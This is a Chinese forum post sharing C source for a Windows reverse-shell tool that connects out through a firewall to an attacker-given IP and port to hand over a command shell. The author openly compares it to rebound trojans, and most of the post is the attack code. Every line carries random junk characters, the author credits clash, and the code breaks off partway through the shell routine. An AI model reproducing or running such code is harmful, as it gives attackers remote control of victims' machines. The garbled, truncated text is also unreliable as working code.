这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }[n5n
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/* ============================== REA;x-u*
Rebound port in Windows NT qrBZvJU
By wind,2006/7 !% S4n
===============================*/ /A07s[L
#include #`ejU &!6
#include >. DC!QV
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#pragma comment(lib,"wsock32.lib") {fz$Z!8-
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void OutputShell(); oU+F3b}5p
SOCKET sClient; kb #^lO
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; GozPvR^/
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void main(int argc,char **argv) o"q+,"QL
{ \l,rpVv5m
WSADATA stWsaData; qL
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int nRet; 4JMiyiW&
SOCKADDR_IN stSaiClient,stSaiServer; $a#H,Xv#
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if(argc != 3) |>1hu1
{ S# we3
printf("Useage:\n\rRebound DestIP DestPort\n"); `_qK&&s
return; ,=PKd&
} mTf<
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WSAStartup(MAKEWORD(2,2),&stWsaData); f)NHM'
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5<R%H{3j
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stSaiClient.sin_family = AF_INET; #kcSQ'
stSaiClient.sin_port = htons(0); SvuTc!$?
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7P**:b
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,+1m`9}
{ <~"lie1
printf("Bind Socket Failed!\n"); |:[9O`U)s
return; #h'@5 l
} JK)qZ=
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stSaiServer.sin_family = AF_INET; d7Ro}>lp
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); m $dV<
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ew,T 5GG
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Ciihsm
{ ,.mBJSE3
printf("Connect Error!"); !@L=;1,
return; %J7UP4
} 3S~(:#|
OutputShell(); SoQR#(73HK
} lj[,|[X7`
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void OutputShell() ZI13
{ c$H+g,7xQ-
char szBuff[1024]; eph)=F$
SECURITY_ATTRIBUTES stSecurityAttributes; k&6I f0i
OSVERSIONINFO stOsversionInfo; M0'v&g
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; u=NG6G
STARTUPINFO stStartupInfo; l|"6yB |
char *szShell; *b|NjwmB
PROCESS_INFORMATION stProcessInformation; I0Ia6w9
unsigned long lBytesRead; TkRP3_b
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [c&